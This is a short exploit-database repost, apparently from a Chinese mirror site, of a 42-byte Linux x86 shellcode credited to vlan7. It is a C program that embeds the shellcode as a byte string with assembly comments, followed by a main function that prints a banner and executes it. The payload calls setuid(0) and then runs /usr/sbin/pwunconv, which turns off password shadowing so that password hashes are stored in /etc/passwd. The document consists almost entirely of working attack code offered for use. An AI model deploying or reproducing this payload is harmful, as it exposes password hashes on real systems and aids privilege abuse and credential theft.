|
linux/x86 setuid(0) && execve(/usr/sbin/pwunconv,0,0) shellcode 42 bytes
|
|
来源：http://www.vlan7.org 作者：vlan7 发布时间：2010-08-16
|
|
#Special Thanks Inj3ct0r Exploit DataBase
#I Love Inj3ct0r.Com
#include <stdio.h>
const char sc[]= "\x31\xdb" //xor ebx,ebx
"\x8d\x43\x17" //LEA eax,[ebx + 0x17] /LEA is FASTER than push and pop!
"\x99" //cdq
"\xcd\x80" //int 80 //setuid(0) shouldn't returns -1 right? ;)
"\xb0\x0b" //mov al,0bh
"\x52" //push edx /Termina la cadena con un 0
"\x68\x63\x6f\x6e\x76" //push dword "conv"
"\x68\x70\x77\x75\x6e" //push dword "pwun"
"\x68\x62\x69\x6e\x2f" //push dword "bin/"
"\x68\x73\x72\x2f\x73" //push dword "sr/s"
"\x68\x2f\x2f\x2f\x75" //push dword "///u"
"\x89\xe3" //mov ebx,esp
"\x89\xd1" //mov ecx,edx
"\xcd\x80"; //int 80h
void main()
{
printf("\n~ This shellcode disables shadowing on a linux system ~"
"\n\n\t ~ Coded by vlan7 ~"
"\n\t ~ http://www.vlan7.org ~"
"\n\n ~ Date: 4/Jul/2009"
"\n\tYou'll have the passwords stored in /etc/passwd."
"\n\tFor undo purposes use the pwconv command."
"\n\t ~ Cheers go to: Wadalbertia"
"\n\t ~ Shellcode Size: %d bytes\n\n",
sizeof(sc)-1);
(*(void (*)()) sc)();
}
|
| |
|
[ 推荐]
[ 评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
| |
|
